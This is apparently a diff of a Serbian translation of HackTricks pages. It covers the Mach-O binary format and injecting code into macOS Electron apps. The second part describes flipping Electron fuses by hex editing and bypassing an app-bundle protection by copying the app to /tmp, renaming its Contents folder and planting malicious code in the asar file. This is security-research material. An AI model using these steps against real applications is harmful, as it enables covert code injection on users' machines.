/bin/ls: Mach-O univerzalni binarni fajl sa 2 arhitekture: [x86_64:Mach-O 64-bit izvršni x86_64] [arm64e:Mach-O 64-bit izvršni arm64e]
|
||||
/bin/ls (za arhitekturu x86_64): Mach-O 64-bit izvršni x86_64
|
||||
/bin/ls (za arhitekturu arm64e): Mach-O 64-bit izvršni arm64e
|
||||
|
||||
% otool -f -v /bin/ls
|
||||
Fat header-i
|
||||
Fat headers
|
||||
fat_magic FAT_MAGIC
|
||||
<strong>nfat_arch 2
|
||||
</strong><strong>arhitektura x86_64
|
||||
</strong> cputype CPU_TYPE_X86_64
|
||||
cpusubtype CPU_SUBTYPE_X86_64_ALL
|
||||
capabilities 0x0
|
||||
mogućnosti 0x0
|
||||
<strong> offset 16384
|
||||
</strong><strong> size 72896
|
||||
</strong> align 2^14 (16384)
|
||||
</strong><strong> veličina 72896
|
||||
</strong> poravnanje 2^14 (16384)
|
||||
<strong>arhitektura arm64e
|
||||
</strong> cputype CPU_TYPE_ARM64
|
||||
cpusubtype CPU_SUBTYPE_ARM64E
|
||||
capabilities PTR_AUTH_VERSION USERSPACE 0
|
||||
mogućnosti PTR_AUTH_VERSION USERSPACE 0
|
||||
<strong> offset 98304
|
||||
</strong><strong> size 88816
|
||||
</strong> align 2^14 (16384)
|
||||
</strong><strong> veličina 88816
|
||||
</strong> poravnanje 2^14 (16384)
|
||||
</code></pre>
|
||||
|
||||
ili koristeći alat [Mach-O View](https://sourceforge.net/projects/machoview/):
|
||||
ili korišćenjem alata [Mach-O View](https://sourceforge.net/projects/machoview/):
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (5) (1) (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Kao što možda mislite, univerzalni binarni fajl kompajliran za 2 arhitekture **udvostručuje veličinu** u odnosu na onaj kompajliran samo za 1 arhitekturu.
|
||||
Kao što možda mislite, obično univerzalni binarni fajl kompajliran za 2 arhitekture **udvostručuje veličinu** onog kompajliranog samo za 1 arhitekturu.
|
||||
|
||||
## **Mach-O Header**
|
||||
|
||||
Header sadrži osnovne informacije o fajlu, kao što su magic bajtovi koji ga identifikuju kao Mach-O fajl i informacije o ciljnoj arhitekturi. Možete ga pronaći na: `mdfind loader.h | grep -i mach-o | grep -E "loader.h$"`
|
||||
Header sadrži osnovne informacije o fajlu, kao što su magic bajtovi za identifikaciju kao Mach-O fajl i informacije o ciljnoj arhitekturi. Možete ga pronaći u: `mdfind loader.h | grep -i mach-o | grep -E "loader.h$"`
|
||||
```c
|
||||
#define MH_MAGIC 0xfeedface /* the mach magic number */
|
||||
#define MH_CIGAM 0xcefaedfe /* NXSwapInt(MH_MAGIC) */
|
||||
|
@ -111,11 +111,11 @@ uint32_t flags; /* flags */
|
|||
uint32_t reserved; /* reserved */
|
||||
};
|
||||
```
|
||||
**Tipovi fajlova**:
|
||||
**Vrste fajlova**:
|
||||
|
||||
* MH\_EXECUTE (0x2): Standardni izvršni Mach-O fajl
|
||||
* MH\_DYLIB (0x6): Mach-O dinamička povezana biblioteka (npr. .dylib)
|
||||
* MH\_BUNDLE (0x8): Mach-O paket (npr. .bundle)
|
||||
* MH\_EXECUTE (0x2): Standardni Mach-O izvršni fajl
|
||||
* MH\_DYLIB (0x6): Mach-O dinamička povezana biblioteka (tj. .dylib)
|
||||
* MH\_BUNDLE (0x8): Mach-O paket (tj. .bundle)
|
||||
```bash
|
||||
# Checking the mac header of a binary
|
||||
otool -arch arm64e -hv /bin/ls
|
||||
|
@ -129,43 +129,43 @@ Ili koristeći [Mach-O View](https://sourceforge.net/projects/machoview/):
|
|||
|
||||
## **Mach-O Load komande**
|
||||
|
||||
Ovde je naveden **raspored fajla u memoriji**, detalji o **lokaciji simboličke tabele**, kontekst glavne niti pri pokretanju izvršenja i potrebne **deljene biblioteke**. Instrukcije se pružaju dinamičkom učitavaču **(dyld)** o procesu učitavanja binarnog fajla u memoriju.
|
||||
**Raspored fajla u memoriji** je ovde naveden, detalji o **lokaciji tabele simbola**, kontekst glavne niti pri pokretanju izvršenja, i potrebne **deljene biblioteke**. Instrukcije su pružene dinamičkom učitavaču **(dyld)** o procesu učitavanja binarnog fajla u memoriju.
|
||||
|
||||
Koristi se struktura **load\_command**, definisana u pomenutom **`loader.h`**:
|
||||
Koristi **load\_command** strukturu, definisanu u pomenutom **`loader.h`**:
|
||||
```objectivec
|
||||
struct load_command {
|
||||
uint32_t cmd; /* type of load command */
|
||||
uint32_t cmdsize; /* total size of command in bytes */
|
||||
};
|
||||
```
|
||||
Postoji oko **50 različitih vrsta load komandi** koje sistem obrađuje na različite načine. Najčešće korištene su: `LC_SEGMENT_64`, `LC_LOAD_DYLINKER`, `LC_MAIN`, `LC_LOAD_DYLIB` i `LC_CODE_SIGNATURE`.
|
||||
Postoje oko **50 različitih tipova komandi za učitavanje** koje sistem obrađuje na različite načine. Najčešće korištene su: `LC_SEGMENT_64`, `LC_LOAD_DYLINKER`, `LC_MAIN`, `LC_LOAD_DYLIB` i `LC_CODE_SIGNATURE`.
|
||||
|
||||
### **LC\_SEGMENT/LC\_SEGMENT\_64**
|
||||
|
||||
{% hint style="success" %}
|
||||
Ova vrsta Load komande definiše **kako se učitavaju \_\_TEXT** (izvršni kod) **i \_\_DATA** (podaci za proces) **segmenti** prema **pomacima navedenim u sekciji Podaci** prilikom izvršavanja binarnog fajla.
|
||||
Ovaj tip Load Command-a definiše **kako učitati \_\_TEXT** (izvršni kod) **i \_\_DATA** (podatke za proces) **segmente** prema **ofsetima naznačenim u Data sekciji** prilikom izvršavanja binarnog fajla.
|
||||
{% endhint %}
|
||||
|
||||
Ove komande **definišu segmente** koji se **mapiraju** u **virtuelni prostor memorije** procesa prilikom izvršavanja.
|
||||
Ove komande **definišu segmente** koji su **mapirani** u **virtuelni memorijski prostor** procesa prilikom izvršavanja.
|
||||
|
||||
Postoje **različite vrste** segmenata, kao što je **\_\_TEXT** segment koji sadrži izvršni kod programa, i **\_\_DATA** segment koji sadrži podatke koje koristi proces. Ovi **segmenti se nalaze u sekciji Podaci** Mach-O fajla.
|
||||
Postoje **različite vrste** segmenata, kao što je **\_\_TEXT** segment, koji drži izvršni kod programa, i **\_\_DATA** segment, koji sadrži podatke korišćene od strane procesa. Ovi **segmenti se nalaze u data sekciji** Mach-O fajla.
|
||||
|
||||
**Svaki segment** se može dalje **podeliti** na više **sekcija**. Struktura load komande sadrži **informacije** o **ovim sekcijama** unutar odgovarajućeg segmenta.
|
||||
**Svaki segment** može biti dodatno **podeljen** u više **sekcija**. Struktura **load komande** sadrži **informacije** o **ovim sekcijama** unutar odgovarajućeg segmenta.
|
||||
|
||||
U zaglavlju prvo se nalazi **zaglavlje segmenta**:
|
||||
U zaglavlju prvo nalazite **zaglavlje segmenta**:
|
||||
|
||||
<pre class="language-c"><code class="lang-c">struct segment_command_64 { /* za 64-bitne arhitekture */
|
||||
uint32_t cmd; /* LC_SEGMENT_64 */
|
||||
uint32_t cmdsize; /* uključuje sizeof section_64 struktura */
|
||||
uint32_t cmdsize; /* uključuje veličinu section_64 struktura */
|
||||
char segname[16]; /* ime segmenta */
|
||||
uint64_t vmaddr; /* adresa memorije ovog segmenta */
|
||||
uint64_t vmaddr; /* memorijska adresa ovog segmenta */
|
||||
uint64_t vmsize; /* veličina memorije ovog segmenta */
|
||||
uint64_t fileoff; /* offset fajla ovog segmenta */
|
||||
uint64_t filesize; /* količina koju treba mapirati iz fajla */
|
||||
uint64_t fileoff; /* ofset fajla ovog segmenta */
|
||||
uint64_t filesize; /* količina za mapiranje iz fajla */
|
||||
int32_t maxprot; /* maksimalna VM zaštita */
|
||||
int32_t initprot; /* početna VM zaštita */
|
||||
<strong> uint32_t nsects; /* broj sekcija u segmentu */
|
||||
</strong> uint32_t flags; /* zastavice */
|
||||
</strong> uint32_t flags; /* zastave */
|
||||
};
|
||||
</code></pre>
|
||||
|
||||
|
@ -194,9 +194,9 @@ Primer **sekcione zaglavlje**:
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (6) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ako **dodate** **pomeraj sekcije** (0x37DC) + **pomeraj** gde **arhiva počinje**, u ovom slučaju `0x18000` --> `0x37DC + 0x18000 = 0x1B7DC`
|
||||
Ako **dodate** **pomeraj sekcije** (0x37DC) + **pomeraj** gde **arh počinje**, u ovom slučaju `0x18000` --> `0x37DC + 0x18000 = 0x1B7DC`
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Takođe je moguće dobiti **informacije o zaglavljima** sa **komandne linije** pomoću:
|
||||
```bash
|
||||
|
@ -204,38 +204,38 @@ otool -lv /bin/ls
|
|||
```
|
||||
Uobičajeni segmenti učitani ovom komandom:
|
||||
|
||||
* **`__PAGEZERO`:** On nalaže kernelu da mapira adresu nula tako da se s nje ne može čitati, pisati ili izvršavati. Varijable maxprot i minprot u strukturi postavljene su na nulu kako bi se naznačilo da na ovoj stranici **nema prava čitanja-pisanja-izvršavanja**.
|
||||
* **`__PAGEZERO`:** Nalaže jezgru da **mapira** **adresu nula** tako da ona **ne može biti čitana, pisana ili izvršena**. Maxprot i minprot promenljive u strukturi postavljene su na nulu da bi se naznačilo da nema **prava za čitanje-pisanje-izvršavanje na ovoj stranici**.
|
||||
* Ova alokacija je važna za **smanjenje ranjivosti NULL pokazivača**.
|
||||
* **`__TEXT`**: Sadrži **izvršni** **kod** s dozvolama za **čitanje** i **izvršavanje** (bez mogućnosti pisanja). Uobičajeni segmenti ovog segmenta:
|
||||
* `__text`: Kompilirani binarni kod
|
||||
* **`__TEXT`**: Sadrži **izvršni** **kod** sa **dozvolama za čitanje** i **izvršavanje** (bez mogućnosti pisanja)**.** Uobičajeni delovi ovog segmenta:
|
||||
* `__text`: Kompajlirani binarni kod
|
||||
* `__const`: Konstantni podaci
|
||||
* `__cstring`: Konstante niske
|
||||
* `__stubs` i `__stubs_helper`: Uključeni tokom procesa učitavanja dinamičke biblioteke
|
||||
* **`__DATA`**: Sadrži podatke koji su **čitljivi** i **pisivi** (bez mogućnosti izvršavanja).
|
||||
* `__data`: Globalne varijable (koje su inicijalizovane)
|
||||
* `__bss`: Statičke varijable (koje nisu inicijalizovane)
|
||||
* `__objc_*` (\_\_objc\_classlist, \_\_objc\_protolist, itd.): Informacije koje koristi Objective-C runtime
|
||||
* **`__LINKEDIT`**: Sadrži informacije za linkera (dyld) kao što su "simbol, string i unosi tabele premeštanja".
|
||||
* **`__OBJC`**: Sadrži informacije koje koristi Objective-C runtime. Iako se ove informacije mogu naći i u segmentu \_\_DATA, unutar različitih odeljaka \_\_objc\_\*.
|
||||
* `__cstring`: Konstante stringova
|
||||
* `__stubs` i `__stubs_helper`: Uključeni tokom procesa dinamičkog učitavanja biblioteka
|
||||
* **`__DATA`**: Sadrži podatke koji su **čitljivi** i **pisivi** (bez mogućnosti izvršavanja)**.**
|
||||
* `__data`: Globalne promenljive (koje su inicijalizovane)
|
||||
* `__bss`: Statičke promenljive (koje nisu inicijalizovane)
|
||||
* `__objc_*` (\_\_objc\_classlist, \_\_objc\_protolist, itd): Informacije koje koristi Objective-C runtime
|
||||
* **`__LINKEDIT`**: Sadrži informacije za linkera (dyld) kao što su "ulazi tabela simbola, stringova i relokacija."
|
||||
* **`__OBJC`**: Sadrži informacije koje koristi Objective-C runtime. Iako se ove informacije mogu naći i u segmentu \_\_DATA, unutar različitih \_\_objc\_\* sekcija.
|
||||
|
||||
### **`LC_MAIN`**
|
||||
|
||||
Sadrži ulaznu tačku u atributima **entryoff**. Prilikom učitavanja, **dyld** jednostavno **dodaje** ovu vrednost na (u memoriji) **bazu binarnog fajla**, a zatim **skoči** na ovu instrukciju kako bi započeo izvršavanje koda binarnog fajla.
|
||||
Sadrži ulaznu tačku u **entryoff atributu**. Prilikom učitavanja, **dyld** jednostavno **dodaje** ovu vrednost na (u memoriji) **bazu binarnog koda**, a zatim **prelazi** na ovu instrukciju kako bi započeo izvršavanje koda binarnog fajla.
|
||||
|
||||
### **LC\_CODE\_SIGNATURE**
|
||||
|
||||
Sadrži informacije o **potpisu koda Macho-O fajla**. Sadrži samo **pomeraj** koji **ukazuje** na **blok potpisa**. Ovo se obično nalazi na samom kraju fajla.\
|
||||
Međutim, možete pronaći neke informacije o ovom odeljku u [**ovom blog postu**](https://davedelong.com/blog/2018/01/10/reading-your-own-entitlements/) i ovom [**gistu**](https://gist.github.com/carlospolop/ef26f8eb9fafd4bc22e69e1a32b81da4).
|
||||
Sadrži informacije o **potpisu koda Macho-O fajla**. Sadrži samo **offset** koji **ukazuje** na **blok potpisa**. Obično se nalazi na samom kraju fajla.\
|
||||
Međutim, možete pronaći neke informacije o ovoj sekciji u [**ovom blog postu**](https://davedelong.com/blog/2018/01/10/reading-your-own-entitlements/) i ovom [**gists**](https://gist.github.com/carlospolop/ef26f8eb9fafd4bc22e69e1a32b81da4).
|
||||
|
||||
### **LC\_LOAD\_DYLINKER**
|
||||
|
||||
Sadrži **putanju do izvršnog fajla dinamičkog linkera** koji mapira deljene biblioteke u adresni prostor procesa. **Vrednost je uvek postavljena na `/usr/lib/dyld`**. Važno je napomenuti da se u macOS-u mapiranje dylib-a dešava u **korisničkom režimu**, a ne u režimu jezgra.
|
||||
Sadrži **putanju do izvršne datoteke dinamičkog linkera** koji mapira deljene biblioteke u prostor adresa procesa. Vrednost je uvek postavljena na `/usr/lib/dyld`. Važno je napomenuti da se u macOS-u mapiranje dylib-a dešava u **korisničkom režimu**, a ne u režimu jezgra.
|
||||
|
||||
### **`LC_LOAD_DYLIB`**
|
||||
|
||||
Ova komanda za učitavanje opisuje **zavisnost od dinamičke biblioteke** koja **nalaže** učitavaču (dyld) da **učita i poveže tu biblioteku**. Postoji LC\_LOAD\_DYLIB komanda za svaku biblioteku koju Mach-O binarni fajl zahteva.
|
||||
Ova komanda za učitavanje opisuje **zavisnost dinamičke biblioteke** koja **nalaže** učitavaču (dyld) da **učita i poveže navedenu biblioteku**. Postoji LC\_LOAD\_DYLIB komanda za učitavanje **za svaku biblioteku** koju Mach-O binarni fajl zahteva.
|
||||
|
||||
* Ova komanda za učitavanje je struktura tipa **`dylib_command`** (koja sadrži strukturu dylib koja opisuje stvarnu zavisnu dinamičku biblioteku):
|
||||
* Ova komanda za učitavanje je struktura tipa **`dylib_command`** (koja sadrži strukturu dylib, opisuje stvarnu zavisnu dinamičku biblioteku):
|
||||
```objectivec
|
||||
struct dylib_command {
|
||||
uint32_t cmd; /* LC_LOAD_{,WEAK_}DYLIB */
|
||||
|
@ -252,7 +252,7 @@ uint32_t compatibility_version; /* library's compatibility vers number*/
|
|||
```
|
||||
![](<../../../.gitbook/assets/image (558).png>)
|
||||
|
||||
Ove informacije možete dobiti i putem CLI-a koristeći:
|
||||
Ove informacije takođe možete dobiti putem komandne linije sa:
|
||||
```bash
|
||||
otool -L /bin/ls
|
||||
/bin/ls:
|
||||
|
@ -262,36 +262,36 @@ otool -L /bin/ls
|
|||
```
|
||||
Neke potencijalno zlonamerne biblioteke su:
|
||||
|
||||
* **DiskArbitration**: Praćenje USB uređaja
|
||||
* **DiskArbitration**: Praćenje USB drajvova
|
||||
* **AVFoundation:** Snimanje zvuka i videa
|
||||
* **CoreWLAN**: Skeniranje WiFi mreža.
|
||||
|
||||
{% hint style="info" %}
|
||||
Mach-O binarna datoteka može sadržati jedan ili **više konstruktora**, koji će biti **izvršeni pre** adrese navedene u **LC\_MAIN**.\
|
||||
Offseti svih konstruktora se nalaze u sekciji **\_\_mod\_init\_func** segmenta **\_\_DATA\_CONST**.
|
||||
Mach-O binarni fajl može sadržati jedan ili **više konstruktora**, koji će biti **izvršeni pre** adrese navedene u **LC\_MAIN**.\
|
||||
Ofseti svih konstruktora se čuvaju u sekciji **\_\_mod\_init\_func** segmenta **\_\_DATA\_CONST**.
|
||||
{% endhint %}
|
||||
|
||||
## **Mach-O podaci**
|
||||
## **Mach-O Podaci**
|
||||
|
||||
U osnovi datoteke se nalazi region podataka, koji se sastoji od nekoliko segmenata definisanih u regionu load-commands. **Različiti delovi podataka mogu biti smešteni u svakom segmentu**, pri čemu svaki deo **sadrži kod ili podatke** specifične za određeni tip.
|
||||
U osnovi fajla se nalazi region podataka, koji se sastoji od nekoliko segmenata definisanih u regionu komandi učitavanja. **Različite sekcije podataka mogu biti smeštene unutar svakog segmenta**, pri čemu svaka sekcija **sadrži kod ili podatke** specifične za tip.
|
||||
|
||||
{% hint style="success" %}
|
||||
Podaci su zapravo deo koji sadrži sve **informacije** koje se učitavaju putem load komandi **LC\_SEGMENTS\_64**
|
||||
Podaci su zapravo deo koji sadrži sve **informacije** koje se učitavaju pomoću komandi učitavanja **LC\_SEGMENTS\_64**
|
||||
{% endhint %}
|
||||
|
||||
![https://www.oreilly.com/api/v2/epubs/9781785883378/files/graphics/B05055_02_38.jpg](<../../../.gitbook/assets/image (507) (3).png>)
|
||||
![https://www.oreilly.com/api/v2/epubs/9781785883378/files/graphics/B05055\_02\_38.jpg](<../../../.gitbook/assets/image (507) (3).png>)
|
||||
|
||||
To uključuje:
|
||||
|
||||
* **Tabela funkcija:** Koja sadrži informacije o funkcijama programa.
|
||||
* **Tabela simbola**: Koja sadrži informacije o eksternim funkcijama koje koristi binarna datoteka
|
||||
* Takođe može sadržati i interne funkcije, imena promenljivih i još mnogo toga.
|
||||
* **Tabela simbola**: Koja sadrži informacije o eksternim funkcijama koje koristi binarni fajl
|
||||
* Takođe može sadržati interne funkcije, imena promenljivih i još mnogo toga.
|
||||
|
||||
Da biste to proverili, možete koristiti alat [**Mach-O View**](https://sourceforge.net/projects/machoview/):
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (4).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ili iz komandne linije:
|
||||
Ili sa komandne linije:
|
||||
```bash
|
||||
size -m /bin/ls
|
||||
```
|
||||
|
@ -301,10 +301,10 @@ size -m /bin/ls
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Ubacivanje u macOS Electron aplikacije
|
||||
# Injekcija macOS Electron aplikacija
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -6,10 +6,10 @@
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
@ -19,23 +19,23 @@ Drugi načini podrške HackTricks-u:
|
|||
Ako ne znate šta je Electron, možete pronaći [**mnogo informacija ovde**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps). Ali za sada samo znajte da Electron pokreće **node**.\
|
||||
I node ima neke **parametre** i **env promenljive** koje se mogu koristiti da bi se **izvršio drugi kod** osim navedene datoteke.
|
||||
|
||||
### Electron osigurači
|
||||
### Elektronski osigurači
|
||||
|
||||
Ove tehnike će biti diskutovane dalje, ali u poslednje vreme je Electron dodao nekoliko **sigurnosnih zastavica da bi ih sprečio**. To su [**Electron osigurači**](https://www.electronjs.org/docs/latest/tutorial/fuses) i ovo su oni koji se koriste da **spreče** Electron aplikacije na macOS-u da **učitavaju proizvoljni kod**:
|
||||
Ove tehnike će biti razmatrane u nastavku, ali u poslednje vreme Electron je dodao nekoliko **sigurnosnih zastava kako bi ih sprečio**. To su [**Elektronski osigurači**](https://www.electronjs.org/docs/latest/tutorial/fuses) i ovo su oni koji se koriste da **spreče** Electron aplikacije u macOS-u da **učitavaju proizvoljan kod**:
|
||||
|
||||
* **`RunAsNode`**: Ako je onemogućeno, sprečava upotrebu env promenljive **`ELECTRON_RUN_AS_NODE`** za ubacivanje koda.
|
||||
* **`RunAsNode`**: Ako je onemogućeno, sprečava korišćenje env varijable **`ELECTRON_RUN_AS_NODE`** za ubacivanje koda.
|
||||
* **`EnableNodeCliInspectArguments`**: Ako je onemogućeno, parametri poput `--inspect`, `--inspect-brk` neće biti poštovani. Na taj način se sprečava ubacivanje koda.
|
||||
* **`EnableEmbeddedAsarIntegrityValidation`**: Ako je omogućeno, učitana **`asar`** **datoteka** će biti **validirana** od strane macOS-a. Na taj način se sprečava **ubacivanje koda** modifikovanjem sadržaja ove datoteke.
|
||||
* **`OnlyLoadAppFromAsar`**: Ako je ovo omogućeno, umesto pretrage za učitavanjem u sledećem redosledu: **`app.asar`**, **`app`** i na kraju **`default_app.asar`**. Proveravaće i koristiti samo app.asar, čime se obezbeđuje da je **nemoguće** učitati nevalidirani kod kada je **kombinovano** sa osiguračem **`embeddedAsarIntegrityValidation`**.
|
||||
* **`EnableEmbeddedAsarIntegrityValidation`**: Ako je omogućeno, učitana **`asar`** **datoteka** će biti **validirana** od strane macOS-a. Na ovaj način se **sprečava ubacivanje koda** modifikovanjem sadržaja ove datoteke.
|
||||
* **`OnlyLoadAppFromAsar`**: Ako je ovo omogućeno, umesto traženja za učitavanjem u sledećem redosledu: **`app.asar`**, **`app`** i na kraju **`default_app.asar`**. Proveravaće i koristiće samo app.asar, čime se osigurava da kada se **kombinuje** sa osiguračem **`embeddedAsarIntegrityValidation`** bude **nemoguće** učitati nevalidiran kod.
|
||||
* **`LoadBrowserProcessSpecificV8Snapshot`**: Ako je omogućeno, proces pregledača koristi datoteku nazvanu `browser_v8_context_snapshot.bin` za svoj V8 snimak.
|
||||
|
||||
Još jedan interesantan osigurač koji neće sprečiti ubacivanje koda je:
|
||||
|
||||
* **EnableCookieEncryption**: Ako je omogućeno, cookie skladište na disku je šifrovano korišćenjem kriptografskih ključeva na nivou operativnog sistema.
|
||||
* **EnableCookieEncryption**: Ako je omogućeno, skladište kolačića na disku je enkriptovano korišćenjem kriptografskih ključeva nivoa OS-a.
|
||||
|
||||
### Provera Electron osigurača
|
||||
### Provera Elektronskih osigurača
|
||||
|
||||
Možete **proveriti ove zastavice** iz aplikacije sa:
|
||||
Možete **proveriti ove zastave** iz aplikacije sa:
|
||||
```bash
|
||||
npx @electron/fuses read --app /Applications/Slack.app
|
||||
|
||||
|
@ -49,49 +49,47 @@ EnableEmbeddedAsarIntegrityValidation is Enabled
|
|||
OnlyLoadAppFromAsar is Enabled
|
||||
LoadBrowserProcessSpecificV8Snapshot is Disabled
|
||||
```
|
||||
### Modifikacija elektronskih osigurača
|
||||
### Modifikacija Elektron osigurača
|
||||
|
||||
Kako [**dokumentacija navodi**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), konfiguracija **elektronskih osigurača** je podešena unutar **Elektron binarnog fajla** koji negde sadrži string **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`**.
|
||||
Kako [**dokumentacija navodi**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), konfiguracija **Elektron osigurača** je podešena unutar **Elektron binarnog koda** koji negde sadrži string **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`**.
|
||||
|
||||
U macOS aplikacijama, ovo se obično nalazi u `application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework`
|
||||
U macOS aplikacijama, ovo se obično nalazi u `aplikacija.app/Contents/Frameworks/Electron Framework.framework/Electron Framework`
|
||||
```bash
|
||||
grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
|
||||
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches
|
||||
```
|
||||
Možete učitati ovaj fajl na [https://hexed.it/](https://hexed.it/) i pretražiti prethodni string. Nakon ovog stringa možete videti u ASCII formatu broj "0" ili "1" koji označava da li je svaki fjuza onemogućen ili omogućen. Samo izmenite heksadecimalni kod (`0x30` je `0` i `0x31` je `1`) da **izmenite vrednosti fjuza**.
|
||||
Možete učitati ovaj fajl na [https://hexed.it/](https://hexed.it/) i pretražiti prethodni string. Nakon ovog stringa možete videti u ASCII formatu broj "0" ili "1" koji pokazuje da li je svaka osigurač isključen ili uključen. Samo modifikujte heksadecimalni kod (`0x30` je `0` i `0x31` je `1`) da **modifikujete vrednosti osigurača**.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Imajte na umu da ako pokušate da **prepišete** **binarni fajl Electron Framework-a** unutar aplikacije sa izmenjenim bajtovima, aplikacija se neće pokrenuti.
|
||||
Imajte na umu da ako pokušate **prepisati** **binarni fajl Electron Framework-a** unutar aplikacije sa ovim izmenjenim bajtovima, aplikacija neće raditi.
|
||||
|
||||
## RCE dodavanje koda u Electron aplikacije
|
||||
|
||||
Mogu postojati **spoljni JS/HTML fajlovi** koje koristi Electron aplikacija, tako da napadač može ubaciti kod u ove fajlove čiji potpis neće biti proveren i izvršiti proizvoljni kod u kontekstu aplikacije.
|
||||
Mogu postojati **spoljni JS/HTML fajlovi** koje koristi Electron aplikacija, tako da napadač može ubaciti kod u ove fajlove čiji potpis neće biti proveren i izvršiti proizvoljan kod u kontekstu aplikacije.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Međutim, trenutno postoje 2 ograničenja:
|
||||
|
||||
* Potrebna je dozvola **`kTCCServiceSystemPolicyAppBundles`** da bi se izmenila aplikacija, pa prema podrazumevanim podešavanjima ovo više nije moguće.
|
||||
* Kompajlirani fajl **`asap`** obično ima fjuze **`embeddedAsarIntegrityValidation`** `i` **`onlyLoadAppFromAsar`** `omogućene`
|
||||
* Potrebna je dozvola **`kTCCServiceSystemPolicyAppBundles`** da bi se modifikovala aplikacija, tako da po defaultu ovo više nije moguće.
|
||||
* Kompajlirani fajl **`asap`** obično ima osigurače **`embeddedAsarIntegrityValidation`** `i` **`onlyLoadAppFromAsar`** `omogućene`
|
||||
|
||||
Ovo čini ovaj put napada složenijim (ili nemogućim).
|
||||
Što ovaj put napada čini složenijim (ili nemogućim).
|
||||
{% endhint %}
|
||||
|
||||
Imajte na umu da je moguće zaobići zahtev za **`kTCCServiceSystemPolicyAppBundles`** kopiranjem aplikacije u drugi direktorijum (kao što je **`/tmp`**), preimenovanjem foldera **`app.app/Contents`** u **`app.app/NotCon`**, **izmenom** **asar** fajla sa vašim **zlonamernim** kodom, preimenovanjem nazad u **`app.app/Contents`** i izvršavanjem.
|
||||
